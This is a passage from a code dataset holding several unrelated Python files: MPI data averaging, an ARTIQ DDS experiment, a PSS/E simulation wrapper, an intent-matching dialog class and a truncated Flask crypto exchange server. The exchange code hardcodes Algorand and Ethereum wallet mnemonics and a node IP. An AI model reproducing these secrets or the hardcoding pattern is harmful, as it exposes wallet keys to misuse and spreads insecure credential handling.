my_ntimes, ntimes = comm.recv(source=0)\n\n# Broadcast dirname, radatadir, nq, etc.\nif rank == 0:\n meta = [dirname, radatadir, nq, nphi, nt, nr, ntimes]\nelse:\n meta = None\ndirname, radatadir, nq,nphi, nt, nr, ntimes = comm.bcast(meta, root=0)\n\n# Checkpoint and time\ncomm.Barrier()\nif rank == 0:\n t2 = time.time()\n print (format_time(t2 - t1))\n print ('Considering %i %s files for the average: %s through %s'\\\n %(nfiles, dataname, file_list[0], file_list[-1]))\n print (\"no. slices = %i\" %ntimes)\n print(fill_str('computing', lent, char), end='\\r')\n t1 = time.time()\n\n# Now analyze the data\nmy_vals = np.zeros((nphi, nt, nr, nq))\n# \"my_vals will be a weighted sum\"\nmy_weight = my_ntimes/ntimes\n\nfor i in range(my_nfiles):\n if rank == 0 and i == 0:\n a = a0\n else: \n a = reading_func(radatadir + str(my_files[i]).zfill(8), '')\n # take mean along the time axis;\n # get the spherical average (not rms/skew/kurt)\n my_vals = np.mean(a.vals, axis=4)*my_weight\n if rank == 0:\n pcnt_done = (i + 1)/my_nfiles*100.\n print(fill_str('computing', lent, char) +\\\n ('rank 0 %5.1f%% done' %pcnt_done), end='\\r')\n\n# Checkpoint and time\ncomm.Barrier()\nif rank == 0:\n t2 = time.time()\n print('\\n' + fill_str('computing time', lent, char), end='')\n print (format_time(t2 - t1))\n print(fill_str('rank 0 collecting and saving the results',\\\n lent, char), end='')\n t1 = time.time()\n\n# proc 0 now collects the results from each process\nif rank == 0:\n # Initialize zero-filled 'vals' array to store the data\n # use one extra dimension to successfully save in Rayleigh format\n # (i.e., nrec = 1 for average)\n vals = np.zeros((nphi, nt, nr, nq, 1))\n\n # Gather the results into this \"master\" array\n for j in range(nproc):\n if j >= 1:\n # Get my_ntimes, my_times, my_iters, my_vals from rank j\n my_vals = comm.recv(source=j)\n # \"my_vals\" are all weighted: their sum equals the overall average\n vals[..., 0] += my_vals \n\nelse: # other processes send their data\n comm.send(my_vals, dest=0)\n\n# Make sure proc 0 collects all data\ncomm.Barrier()\n\n# proc 0 saves the data\nif rank == 0:\n # create data directory if it doesn't already exist\n datadir = dirname + '/data/'\n if not os.path.isdir(datadir):\n os.makedirs(datadir)\n\n # Set the timetrace savename by the directory, what we are saving,\n # and first and last iteration files for the trace\n dirname_stripped = strip_dirname(dirname)\n savename = dirname_stripped + '_' + dataname + '_' +\\\n file_list[0] + '_' + file_list[-1]\n savefile = datadir + savename\n\n # save the data\n # use a0 for the writing\n a0.vals = vals\n a0.niter = 1\n a0.write(savefile, '')\n t2 = time.time()\n print (format_time(t2 - t1))\n print(make_bold(fill_str('total time', lent, char)), end='')\n print (make_bold(format_time(t2 - t1_glob)))\n print ('data saved at ')\n print (make_bold(savefile))\n","sub_path":"zz_legacy/timeavg/Shell_Slices2.py","file_name":"Shell_Slices2.py","file_ext":"py","file_size_in_byte":7581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"335035809","text":"import sys\r\nimport os\r\nimport select\r\nimport numpy as np\r\n\r\nfrom artiq.experiment import *\r\n\r\nif os.name == \"nt\":\r\n import msvcrt\r\n\r\nclass KasliTester(EnvExperiment):\r\n def build(self):\r\n dds_channel = ['urukul0_ch'+str(i) for i in range(4)]\r\n self.setattr_device('core')\r\n self.microwave = self.get_device(dds_channel[2])\r\n self.ttl = self.get_device(\"ttl4\")\r\n\r\n @kernel\r\n def set_dds(self):\r\n self.core.break_realtime()\r\n self.microwave.init()\r\n \r\n # set frequecny\r\n self.microwave.set(150*MHz)\r\n # set amplitude attenuation\r\n # the origin output is about 9 dbm( equal to set_att(0.))\r\n # the attenuation number must be float like 0. whose unit is dB\r\n # dds 不是连续的\r\n\r\n self.microwave.set_att(19.)\r\n # self.microwave.set_att(0.5) # = 0dbm\r\n\r\n #turn off all DDS\r\n self.microwave.sw.off()\r\n \r\n # turn on dds making dds work\r\n # turn off ttl making LB1005 ouput work\r\n self.microwave.sw.on()\r\n self.ttl.off()\r\n \r\n \r\n def run(self):\r\n self.set_dds()","sub_path":"Cavity Ringdown/AOM_ON.py","file_name":"AOM_ON.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"594398370","text":"import numpy as np\nimport os\nclass Dynamic:\n func_options = {\n 'Buses': {\n 'busdat': ['BASE', 'PU', 'KV', 'ANGLE', 'ANGLED', 'NVLMHI', 'NVLMLO', 'EVLMHI', 'EVLMLO'],\n 'busdt2': ['TOTAL', 'FX_TOTAL', 'SC_TOTAL'],\n },\n 'Branches': {\n 'brndat': ['RATEn', 'RATEA', 'RATEB', 'RATEC', 'RATE', 'LENGTH', 'CHARG', 'CHARGZ', 'FRACT1', 'FRACT2',\n 'FRACT3', 'FRACT4'],\n 'brndt2': ['RX', 'ISHNT', 'JSHNT', 'RXZ', 'ISHNTZ', 'JSHNTZ', 'LOSSES', 'O_LOSSES'],\n 'brnmsc': ['MVA', 'AMPS', 'PUCUR', 'CURANG', 'P', 'O_P', 'Q', 'O_Q', 'PLOS', 'O_PLOS', 'QLOS', 'O_QLOS'],\n },\n 'Induction_generators': {\n 'inddt1': [\"MBASE\", \"RATEKV\", \"PSET\", \"RA\", \"XA\", \"R1\", \"X1\", \"R2\", \"X2\", \"X3\", \"E1\", \"SE1\", \"E2\",\n \"SE2\", \"IA1\", \"IA2\", \"XAMULT\", \"TRQA\", \"TRQB\", \"TRQD\", \"TRQE\", \"H\", \"IRATIO\", \"ROVERX\",\n \"RZERO\", \"XZERO\", \"RGRND\", \"XGRND\", \"P\", \"O_P\", \"Q\", \"O_Q\", \"MVA\", \"O_MVA\", \"SLIP\"],\n 'inddt2': ['ZA', 'Z1', 'Z2', 'ZZERO', 'ZGRND', 'PQ', 'O_PQ'],\n },\n 'Loads': {\n 'loddt2': ['MVA', 'IL', 'YL', 'TOTAL', 'YNEG', 'YZERO'],\n },\n 'Machines': {\n 'macdat': [\"QMAX\", \"O_QMAX\", \"QMIN\", \"O_QMIN\", \"PMAX\", \"O_PMAX\", \"PMIN\", \"O_PMIN\", \"MBASE\", \"MVA\",\n \"O_MVA\", \"P\", \"O_P\", \"Q\", \"O_Q\", \"PERCENT\", \"GENTAP\", \"VSCHED\", \"WPF\", \"RMPCT\", \"RPOS\",\n \"XSUBTR\", \"XTRANS\", \"XSYNCH\"],\n 'macdt2': [\"PQ\", \"O_PQ\", \"ZSORCE\", \"XTRAN\", \"ZPOS\", \"ZNEG\", \"ZZERO\", \"ZGRND\"]\n },\n 'Fixed_shunts': {\n 'fxsdt2': [\"PQ\", \"O_PQ\", \"ZSORCE\", \"XTRAN\", \"ZPOS\", \"ZNEG\", \"ZZERO\", \"ZGRND\"]\n },\n 'Switched_shunts': {\n 'swsdt1': [\"VSWHI\", \"VSWLO\", \"RMPCT\", \"BINIT\", \"O_BINIT\"],\n },\n 'Transformers': {\n 'xfrdat': ['RATIO', 'RATIO2', 'ANGLE', 'RMAX', 'RMIN', 'VMAX', 'VMIN', 'STEP', 'CR', 'CX', 'CNXANG',\n 'SBASE1', 'NOMV1', 'NOMV2', 'NOMV2', 'GMAGNT', 'BMAGNT', 'RG1', 'XG1', 'R01', 'X01', 'RG2',\n 'XG2', 'R02', 'X02', 'RNUTRL', 'XNUTRL'],\n 'tr3dt2': ['RX1-2', 'RX2-3', 'RX3-1', 'YMAGNT', 'ZG1', 'Z01', 'ZG2', 'Z02', 'ZG3', 'Z03', 'ZNUTRL' ]\n }\n\n }\n def __init__(self,psse, dyntools, settings, export_settings, logger):\n self.PSSE = psse\n self.logger = logger\n self.dyntools = dyntools\n self.settings = settings\n self.export_settings = export_settings\n self.initialization_complete = False\n return\n\n def init(self, bus_subsystems):\n self.export_path = os.path.join(self.settings[\"Project Path\"], 'Exports')\n study_case_path = os.path.join(self.settings[\"Project Path\"], 'Case_study', self.settings[\"Case study\"])\n dyr_path = os.path.join(self.settings[\"Project Path\"], 'Case_study', self.settings[\"Dyr file\"])\n outx_path = os.path.join(self.settings[\"Project Path\"], 'Case_study', self.settings[\"Outx file\"])\n snp_file = os.path.join(self.settings[\"Project Path\"], 'Case_study', self.settings[\"Snp file\"])\n rwn_file = os.path.join(self.settings[\"Project Path\"], 'Case_study', self.settings[\"Rwm file\"])\n ext = study_case_path.split('.')[1]\n self.outx_path = outx_path\n self.logger.debug('Loading case study....')\n if ext == 'raw':\n ierr = self.PSSE.read(0, study_case_path)\n else:\n ierr = self.PSSE.case(study_case_path)\n if ierr == 3:\n raise Exception('File \"{}\" not found'.format(study_case_path))\n elif ierr:\n raise Exception('Error loading case study file \"{}\"'.format(study_case_path))\n else:\n self.logger.debug('Sucess!')\n\n if self.settings[\"Disable PSSE logging\"]:\n self.disable_logging()\n\n # buses = [34017, 34020]\n # self.PSSE.bsysinit(0)\n # ierr = self.PSSE.bsys(sid=0, numbus=len(buses), buses=buses)\n\n if len(self.settings[\"Setup files\"]):\n ierr = None\n for f in self.settings[\"Setup files\"]:\n setup_path = os.path.join(self.settings[\"Project Path\"], 'Case_study', f)\n ierr = self.PSSE.runrspnsfile(setup_path)\n if ierr:\n raise Exception('Error running setup file \"{}\"'.format(setup_path))\n else:\n self.logger.debug('Setup file {} sucessfully run'.format(setup_path))\n\n else:\n if len(self.settings[\"Rwm file\"]):\n self.PSSE.mcre([1, 0], rwn_file)\n\n self.convert_load()\n self.PSSE.cong(0)\n # Solve for dynamics\n self.PSSE.ordr(0)\n self.PSSE.fact()\n self.PSSE.tysl(0)\n self.PSSE.tysl(0)\n self.PSSE.save(study_case_path.split('.')[0] + \".sav\")\n self.logger.debug('Loading dynamic model....')\n ierr = self.PSSE.dyre_new([1, 1, 1, 1], dyr_path, '', '', '')\n if ierr:\n raise Exception('Error loading dynamic model file \"{}\"'.format(dyr_path))\n else:\n self.logger.debug('Dynamic file {} sucessfully loaded'.format(dyr_path))\n\n if self.export_settings[\"Export results using channels\"]:\n self.setup_channels()\n\n self.PSSE.snap(sfile=snp_file)\n # Load user defined models\n for mdl in self.settings[\"User models\"]:\n dll_path = os.path.join(self.settings[\"Project Path\"], 'Case_study', mdl)\n self.PSSE.addmodellibrary(dll_path)\n self.logger.debug('User defined library added: {}'.format(mdl))\n # Load flow settings\n self.PSSE.fdns([0, 0, 0, 1, 1, 0, 99, 0])\n # initialize\n iErr = self.PSSE.strt_2([1, self.settings[\"Generators\"][\"Missing machine model\"]], outx_path)\n if iErr:\n self.initialization_complete = False\n raise Exception('Dynamic simulation failed to successfully initialize')\n else:\n self.initialization_complete = True\n self.logger.debug('Dynamic simulation initialization sucess!')\n # get load info for the sub system\n self.load_info = self.get_load_indices(bus_subsystems)\n self.logger.debug('pyPSSE initialization complete!')\n return self.initialization_complete\n\n def step(self, t):\n return self.PSSE.run(0, t, 1, 1, 1)\n\n def get_load_indices(self, bus_subsystems):\n all_bus_ids = {}\n for id in bus_subsystems.keys():\n load_info = {}\n ierr, load_data = self.PSSE.aloadchar(id, 1, ['ID', 'NAME', 'EXNAME'])\n load_data = np.array(load_data)\n ierr, bus_data = self.PSSE.aloadint(id, 1, ['NUMBER'])\n bus_data = bus_data[0]\n for i, bus_id in enumerate(bus_data):\n load_info[bus_id] = {\n 'Load ID' : load_data[0,i],\n 'Bus name' : load_data[1,i],\n 'Bus name (ext)' : load_data[2,i],\n }\n all_bus_ids[id] = load_info\n return all_bus_ids\n\n def convert_load(self, busSubsystem= None):\n if self.settings['Loads']['Convert']:\n P1 = self.settings['Loads']['active_load'][\"% constant current\"]\n P2 = self.settings['Loads']['active_load'][\"% constant admittance\"]\n Q1 = self.settings['Loads']['reactive_load'][\"% constant current\"]\n Q2 = self.settings['Loads']['reactive_load'][\"% constant admittance\"]\n if busSubsystem:\n self.PSSE.conl(busSubsystem, 0, 1, [0, 0], [P1, P2, Q1, Q2]) # initialize for load conversion.\n self.PSSE.conl(busSubsystem, 0, 2, [0, 0], [P1, P2, Q1, Q2]) # convert loads.\n self.PSSE.conl(busSubsystem, 0, 3, [0, 0], [P1, P2, Q1, Q2]) # postprocessing housekeeping.\n else:\n self.PSSE.conl(0, 1, 1, [0, 0], [P1, P2, Q1, Q2]) # initialize for load conversion.\n self.PSSE.conl(0, 1, 2, [0, 0], [P1, P2, Q1, Q2]) # convert loads.\n self.PSSE.conl(0, 1, 3, [0, 0], [P1, P2, Q1, Q2]) # postprocessing housekeeping.\n\n def disable_logging(self):\n self.PSSE.progress_output(islct=6, filarg='', options=[0, 0])\n self.PSSE.prompt_output(islct=6, filarg='', options=[0, 0])\n self.PSSE.report_output(islct=6, filarg='', options=[0, 0])\n\n def setup_channels(self):\n import pyPSSE.Channel_map as Channel_map\n for channel, add in self.export_settings[\"Channels\"].iteritems():\n if add:\n channelID = Channel_map.channel_map[channel]\n self.logger.debug('\"{}\" added to the channel file'.format(channel))\n self.PSSE.chsb(0, 1, [-1, -1, -1, 1, channelID, 0])\n \n def export(self):\n self.logger.debug('Starting export process. Can take a few minutes for large files')\n excelpath = os.path.join(self.export_path, self.settings[\"Excel file\"])\n achnf = self.dyntools.CHNF(self.outx_path)\n achnf.xlsout(channels='', show=False, xlsfile=excelpath, outfile='', sheet='Sheet1', overwritesheet=True)\n self.logger.debug('{} export to {}'.format(self.settings[\"Excel file\"], self.export_path))\n\n def read_subsystems(self,quantities, subsystem_buses):\n results = {}\n for class_name, vars in quantities.items():\n if class_name in self.func_options:\n funcs = self.func_options[class_name]\n for v in vars:\n for func_name, settinsgs in funcs.items():\n q = \"{}_{}\".format(class_name, v)\n for b in subsystem_buses:\n if func_name in ['busdat', 'busdt2']:\n if func_name == \"busdat\":\n irr, val = getattr(self.PSSE, func_name)(int(b), v)\n results =self.add_result(results, q, val, b)\n elif func_name == \"busdt2\":\n irr, val = getattr(self.PSSE, func_name)(int(b), v, 'ACT')\n results =self.add_result(results, q, val, b)\n elif func_name == \"loddt2\":\n id = ''\n ierr = self.PSSE.inilod(int(b))\n while id != None:\n ierr, id = self.PSSE.nxtlod(int(b))\n irr, val = getattr(self.PSSE, func_name)(int(b), id, v, 'ACT')\n results = self.add_result(results, q, val, '{}_{}'.format(id, b))\n elif func_name in [\"macdat\", 'macdt2']:\n id = ''\n ierr = self.PSSE.inimac(int(b))\n while id != None:\n ierr, id = self.PSSE.nxtmac(int(b))\n irr, val = getattr(self.PSSE, func_name)(int(b), id, v)\n results = self.add_result(results, q, val, '{}_{}'.format(id, b))\n elif func_name == 'fxsdt2':\n id = ''\n ierr = self.PSSE.inimac(int(b))\n while id != None:\n ierr, id = self.PSSE.nxtfxs(int(b))\n irr, val = getattr(self.PSSE, func_name)(int(b), id, v)\n results = self.add_result(results, q, val, '{}_{}'.format(id, b))\n elif func_name == 'swsdt1':\n irr, val = getattr(self.PSSE, func_name)(int(b), v)\n results = self.add_result(results, q, val, b)\n elif func_name in ['brndat', 'brndt2', 'brnmsc']:\n b1 = ''\n ierr = self.PSSE.inibrx(int(b), 3)\n while b1 != None:\n ierr, b1, ickt = self.PSSE.nxtbrn(int(b))\n irr, val = getattr(self.PSSE, func_name)(int(b), int(b1), ickt, v)\n results = self.add_result(results, q, val, b)\n elif func_name in ['xfrdat', 'tr3dt2']:\n b1 = ''\n ierr = self.PSSE.inibrx(int(b), 3)\n while b1 != None:\n ierr, b1, ickt = self.PSSE.nxtbrn(int(b))\n if func_name == 'xfrdat':\n irr, val = getattr(self.PSSE, func_name)(int(b), int(b1), '1 ', v)\n results = self.add_result(results, q, val, b)\n b1 = ''\n ierr = self.PSSE.inibrx(int(b), 3)\n while b1 != None:\n ierr, b1, b2, ickt = self.PSSE.nxtbrn3(int(b))\n if func_name == 'xfrdat':\n irr, val = getattr(self.PSSE, func_name)(int(b), int(b1), int(b2), ickt, v)\n results = self.add_result(results, q, val, b)\n return results\n\n\n def read(self, quantities, raw_data):\n results = {}\n for class_name, vars in quantities.items():\n if class_name in self.func_options:\n funcs = self.func_options[class_name]\n for v in vars:\n for func_name, settinsgs in funcs.items():\n q = \"{}_{}\".format(class_name, v)\n if func_name in ['busdat', 'busdt2']:\n for b in raw_data.buses:\n if func_name == \"busdat\":\n irr, val = getattr(self.PSSE, func_name)(int(b), v)\n results =self.add_result(results, q, val, b)\n elif func_name == \"busdt2\":\n irr, val = getattr(self.PSSE, func_name)(int(b), v, 'ACT')\n results =self.add_result(results, q, val, b)\n elif func_name == \"loddt2\":\n for b, id in raw_data.loads:\n ierr = self.PSSE.inilod(int(b))\n irr, val = getattr(self.PSSE, func_name)(int(b), id, v, 'ACT')\n results =self.add_result(results, q, val, '{}_{}'.format(id, b))\n elif func_name in [\"macdat\", 'macdt2']:\n for b, id in raw_data.generators:\n ierr = self.PSSE.inimac(int(b))\n irr, val = getattr(self.PSSE, func_name)(int(b), id, v)\n results = self.add_result(results, q, val, '{}_{}'.format(id, b))\n elif func_name == 'fxsdt2':\n for b, id in raw_data.fixed_stunts:\n ierr = self.PSSE.inimac(int(b))\n irr, val = getattr(self.PSSE, func_name)(int(b), id, v)\n results = self.add_result(results, q, val, '{}_{}'.format(id, b))\n elif func_name == 'swsdt1':\n for b in raw_data.switched_shunt:\n irr, val = getattr(self.PSSE, func_name)(int(b), v)\n results = self.add_result(results, q, val, b)\n if func_name in ['brndat', 'brndt2', 'brnmsc']:\n for b, b1 in raw_data.branches:\n irr, val = getattr(self.PSSE, func_name)(int(b),int(b1), '1 ', v)\n results = self.add_result(results, q, val, b)\n if func_name in ['xfrdat', 'tr3dt2']:\n for b, b1, b2 in raw_data.transformers:\n if func_name == 'xfrdat':\n if int(b2.replace(' ', '')) == 0:\n irr, val = getattr(self.PSSE, func_name)(int(b), int(b1), '1 ', v)\n results = self.add_result(results, q, val, b)\n elif func_name == 'xfrdat':\n if int(b2.replace(' ', '')) != 0:\n irr, val = getattr(self.PSSE, func_name)(int(b), int(b1), int(b2), '1 ', v)\n results = self.add_result(results, q, val, b)\n\n return results\n\n def add_result(self, results_dict, class_name, value, label):\n if value:\n if class_name not in results_dict:\n results_dict[class_name] = {}\n results_dict[class_name][label] = value\n return results_dict","sub_path":"Modes/Dynamic.py","file_name":"Dynamic.py","file_ext":"py","file_size_in_byte":17246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"625534041","text":"'''\nCreated on Jul 17, 2017\n\n@author: robby.he\n'''\n# 载入资源\n# 1. intentModules\n# 2. generaliedWords\n# 3. ConceptWords\n# \n# 处理句子方法:输入一个句子sentence,\n# 1. 按词性分词\n# 2. 去停词,否定词\n# \n# \n# 打分方法:\n# 1.把处理后的句子分别与intentModule对比,\n# 对比时要按intent进行语义归一化\n# 与每个句型计算相似度,返回最高一个,\n# 生成一个intent对象,intent名,置信度\n# 2.返回置信度最高的intent对象。 \n\n# -*- coding: UTF-8 -*-\nimport json\nimport jieba.posseg as pseg\nimport jieba\n\n\nclass Dialog:\n INTENTMODULEPATH = \"../../public/intentModules.json\"\n GENERALIZEDWORDSPATH = \"../../public/generalizedWords.json\"\n CONCEPTWORDSPATH = \"../../public/conceptWords.json\"\n \n intentModules={}\n generalizedWords={}\n conceptWords={}\n \n\n stopWords=[\"我要\",\"要\",\"我想\",\"想\",\"我\",\"怎么\"]\n \n def __init__(self): #载入三个文件\n with open(self.INTENTMODULEPATH,encoding='utf-8') as json_file:\n data = json.load(json_file)\n self.intentModules = data\n \n with open(self.GENERALIZEDWORDSPATH,encoding='utf-8') as json_file:\n data = json.load(json_file)\n self.generalizedWords = data\n \n with open(self.CONCEPTWORDSPATH,encoding='utf-8') as json_file:\n data = json.load(json_file)\n self.conceptWords = data\n \n def compareWithModule(self,str):\n BigIntentName = \"\"\n BigMatchScore = 0\n BigMatchModule = \"\"\n BigVector = []\n \n for module in self.intentModules:\n intentname=module.get(\"name\")\n # 用户定义concept 替换 str中的词——避免分词是把concept破坏\n strAfterConcept = self.conceptProcess(module.get(\"concepts\"),str)\n #分词\n tokenStr = self.tokenWords(strAfterConcept)\n# for word, flag in strArr:\n# print(word+\",\"+flag)\n #泛化\n vector = self.generalizedProcess(intentname,tokenStr) \n #计算得分:泛化后的用户输入与已有模型计算\n matchScore=0\n matchMoudle=\"\"\n \n print('intentName - vectorStr - moduleStr - Score ')\n for moduleItem in module.get(\"modules\"):\n score = self.similarityCompute(vector,moduleItem);\n if score > matchScore:\n matchScore = score\n matchMoudle = moduleItem \n \n print('%s - %s - %s - %f' % (intentname, moduleItem,\" \".join(vector) , matchScore))\n \n if matchScore>BigMatchScore:\n BigIntentName = intentname\n BigMatchModule = matchMoudle\n BigMatchScore = matchScore\n BigVector = vector\n \n print(\"__________________________________\") \n print('intentName - vectorStr - moduleStr - Score ')\n print('%s - %s - %s - %f' % (BigIntentName, BigMatchModule,\" \".join(BigVector), BigMatchScore))\n return;\n \n def tokenWords(self,str):\n rltArr=[]\n originStr=jieba.lcut(str)\n #去停词,否定词\n for word in originStr:\n if word not in self.stopWords:\n rltArr.append(word)\n return rltArr;\n \n def conceptProcess(self,wordsList,str):\n \n for word in wordsList:\n replaceWordList=self.conceptWords.get(word)\n if(len(replaceWordList)>0):\n for replaceWord in replaceWordList:\n str = str.replace(replaceWord, word)\n \n return str;\n \n def generalizedProcess(self,intentname,tokenStr):\n for item in self.generalizedWords:\n if(item.get(\"name\") == intentname):\n # \"indexName\":[\"发信息\",\"通知\"]\n indexName = item.get(\"indexName\")\n for index in indexName:\n #\"发信息\":[\"发短信\",\"发消息\"]\n wordToReplaceList = item.get(index)\n for word in wordToReplaceList:\n tokenStr = self.strArrReplace(tokenStr,word,index)\n return tokenStr;\n \n def strArrReplace(self,tokenStr,word,newWord):\n for index, value in enumerate(tokenStr):\n if value == word:\n tokenStr[index]=newWord\n return tokenStr;\n \n def similarityCompute(self,vector,moduleItem):\n keywords = moduleItem.split(\" \")\n matchwords = 0\n for word in vector:\n if word in keywords:\n matchwords=matchwords+1\n \n if matchwords == 0:\n return 0\n else:\n numerator = matchwords*1.0\n denominator = (len(vector)+len(keywords))*1.0-matchwords\n score = numerator/denominator\n return score;","sub_path":"server/python_server/nuance/token/DialogTest.py","file_name":"DialogTest.py","file_ext":"py","file_size_in_byte":5080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"70131982","text":"from flask import Flask, request, g\nfrom flask_restful import Resource, Api\nfrom sqlalchemy import create_engine\nfrom flask import jsonify\nimport json\nimport eth_account\nimport algosdk\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.orm import scoped_session\nfrom sqlalchemy.orm import load_only\nfrom datetime import datetime\nimport math\nimport sys\nimport traceback\n\nfrom algosdk.v2client import indexer\nfrom algosdk import mnemonic\nfrom web3 import Web3\n\n# TODO: make sure you implement connect_to_algo, send_tokens_algo, and send_tokens_eth\nfrom send_tokens import connect_to_algo, connect_to_eth, send_tokens_algo, send_tokens_eth\n\nfrom models import Base, Order, TX, Log\nengine = create_engine('sqlite:///orders.db')\nBase.metadata.bind = engine\nDBSession = sessionmaker(bind=engine)\n\napp = Flask(__name__)\n\n\"\"\" Pre-defined methods (do not need to change) \"\"\"\n\n@app.before_request\ndef create_session():\n g.session = scoped_session(DBSession)\n\n@app.teardown_appcontext\ndef shutdown_session(response_or_exc):\n sys.stdout.flush()\n g.session.commit()\n g.session.remove()\n\ndef connect_to_blockchains():\n try:\n # If g.acl has not been defined yet, then trying to query it fails\n acl_flag = False\n g.acl\n except AttributeError as ae:\n acl_flag = True\n \n try:\n if acl_flag or not g.acl.status():\n # Define Algorand client for the application\n g.acl = connect_to_algo()\n except Exception as e:\n print(\"Trying to connect to algorand client again\")\n print(traceback.format_exc())\n g.acl = connect_to_algo()\n \n try:\n icl_flag = False\n g.icl\n except AttributeError as ae:\n icl_flag = True\n \n try:\n if icl_flag or not g.icl.health():\n # Define the index client\n g.icl = connect_to_algo(connection_type='indexer')\n except Exception as e:\n print(\"Trying to connect to algorand indexer client again\")\n print(traceback.format_exc())\n g.icl = connect_to_algo(connection_type='indexer')\n\n \n try:\n w3_flag = False\n g.w3\n except AttributeError as ae:\n w3_flag = True\n \n try:\n if w3_flag or not g.w3.isConnected():\n g.w3 = connect_to_eth()\n except Exception as e:\n print(\"Trying to connect to web3 again\")\n print(traceback.format_exc())\n g.w3 = connect_to_eth()\n \n\"\"\" End of pre-defined methods \"\"\"\n \n\"\"\" Helper Methods (skeleton code for you to implement) \"\"\"\n\ndef log_message(message_dict):\n msg = json.dumps(message_dict)\n\n # TODO: Add message to the Log table\n g.session.add(Log(message = msg))\n g.session.commit()\n\ndef get_algo_keys():\n \n # TODO: Generate or read (using the mnemonic secret) \n # the algorand public/private keys\n mnemonic_secret = \"dose palace garage night heavy battle position civil summer asset fat copper erode honey extend pizza sleep robot trim scare blouse flock double abandon tortoise\"\n algo_sk = mnemonic.to_private_key(mnemonic_secret)\n algo_pk = mnemonic.to_public_key(mnemonic_secret)\n \n return algo_sk, algo_pk\n\ndef get_eth_keys(filename = \"eth_mnemonic.txt\"):\n\n IP_ADDR='18.188.235.196'\n PORT='8545'\n\n w3 = Web3(Web3.HTTPProvider('http://' + IP_ADDR + ':' + PORT))\n \n # TODO: Generate or read (using the mnemonic secret) \n # the ethereum public/private keys\n\n mnemonic_secret = \"clutch oval meadow vast slush burger swallow air garden urban zebra about\"\n acct = w3.eth.account.from_mnemonic(mnemonic_secret)\n eth_pk = acct._address\n eth_sk = acct._private_key\n\n return eth_sk, eth_pk\n \ndef fill_order(order, txes=[]):\n # TODO: \n # Match orders (same as Exchange Server II)\n # Validate the order has a payment to back it (make sure the counterparty also made a payment)\n # Make sure that you end up executing all resulting transactions!\n\n\t# If your fill_order function is recursive, and you want to have fill_order return a list of transactions to be filled, \n\t# Then you can use the \"txes\" argument to pass the current list of txes down the recursion\n\t# Note: your fill_order function is *not* required to be recursive, and it is *not* required that it return a list of transactions, \n\t# but executing a group of transactions can be more efficient, and gets around the Ethereum nonce issue described in the instructions\n \n dt = datetime.now()\n order.timestamp = dt\n order.filled = datetime(2222, 2, 2)\n g.session.add(order)\n g.session.commit()\n \n tx = {'amount': order.sell_amount, 'platform': order.sell_currency, 'receiver_pk': order.receiver_pk, 'order_id': order.id, 'tx_id': None} # tx_id to be assigned later when the transaction is executed\n txes.append(tx)\n \n #2. Check if there are any existing orders that match. \n orders = g.session.query(Order).filter(Order.filled == datetime(2222, 2, 2)).all() #Get all unfilled orders\n for existing_order in orders:\n if (existing_order.buy_currency == order.sell_currency and \n existing_order.sell_currency == order.buy_currency and \n float(existing_order.sell_amount)/float(existing_order.buy_amount) > float(order.buy_amount)/float(order.sell_amount)): #match\n #print(\"matched\")\n \n #3. If a match is found between order and existing_order:\n #– Set the filled field to be the current timestamp on both orders\n dt = datetime.now()\n existing_order.filled = dt\n order.filled = dt\n \n #– Set counterparty_id to be the id of the other order\n existing_order.counterparty_id = order.id\n order.counterparty_id = existing_order.id\n existing_order.counterparty = [order]\n order.counterparty = [existing_order]\n g.session.commit()\n #print(\"order.id:\", order.id)\n #print(\"existing_order.id:\", existing_order.id) \n\n #– If one of the orders is not completely filled (i.e. the counterparty’s sell_amount is less than buy_amount):\n if existing_order.buy_amount < order.sell_amount: #this order is not completely filled\n parent_order = order\n buy_amount = order.buy_amount - existing_order.sell_amount\n sell_amount = order.sell_amount - existing_order.buy_amount\n elif order.buy_amount < existing_order.sell_amount: #existing_order is not completely filled\n parent_order = existing_order\n buy_amount = existing_order.buy_amount - order.sell_amount\n sell_amount = existing_order.sell_amount - order.buy_amount\n else:\n return\n\n if buy_amount==0 or sell_amount==0:\n return\n \n #o Create a new order for remaining balance\n child_order = {} #new dict\n child_order['buy_amount'] = buy_amount\n child_order['sell_amount'] = sell_amount\n child_order['buy_currency'] = parent_order.buy_currency\n child_order['sell_currency'] = parent_order.sell_currency\n \n #o The new order should have the created_by field set to the id of its parent order\n child_order['creator_id'] = parent_order.id\n print(\"parent_order.id:\", parent_order.id)\n \n #o The new order should have the same pk and platform as its parent order\n child_order['sender_pk'] = parent_order.sender_pk\n child_order['receiver_pk'] = parent_order.receiver_pk\n \n #o The sell_amount of the new order can be any value such that the implied exchange rate of the new order is at least that of the old order\n #o You can then try to fill the new order\n corder = Order(**{f:child_order[f] for f in child_order})\n fill_order(corder, txes)\n \ndef execute_txes(txes):\n if txes is None:\n return True\n if len(txes) == 0:\n return True\n print( f\"Trying to execute {len(txes)} transactions\" )\n print( f\"IDs = {[tx['order_id'] for tx in txes]}\" )\n eth_sk, eth_pk = get_eth_keys()\n algo_sk, algo_pk = get_algo_keys()\n \n if not all( tx['platform'] in [\"Algorand\",\"Ethereum\"] for tx in txes ):\n print( \"Error: execute_txes got an invalid platform!\" )\n print( tx['platform'] for tx in txes )\n\n algo_txes = [tx for tx in txes if tx['platform'] == \"Algorand\" ]\n eth_txes = [tx for tx in txes if tx['platform'] == \"Ethereum\" ]\n\n # TODO: \n # 1. Send tokens on the Algorand and eth testnets, appropriately\n # We've provided the send_tokens_algo and send_tokens_eth skeleton methods in send_tokens.py\n # 2. Add all transactions to the TX table\n\n tx_ids = send_tokens_algo(g.acl, algo_sk, algo_txes)\n for tx in algo_txes:\n t = {'platform': 'Algorand', 'receiver_pk': tx['receiver_pk'], 'order_id': tx['order_id'], 'tx_id': tx['tx_id']}\n tx = TX(**{f:t[f] for f in t})\n g.session.add(tx)\n g.session.commit()\n\n tx_ids = send_tokens_eth(g.w3, eth_sk, eth_txes)\n for tx in eth_txes:\n t = {'platform': 'Ethereum', 'receiver_pk': tx['receiver_pk'], 'order_id': tx['order_id'], 'tx_id': tx['tx_id']}\n tx = TX(**{f:t[f] for f in t})\n 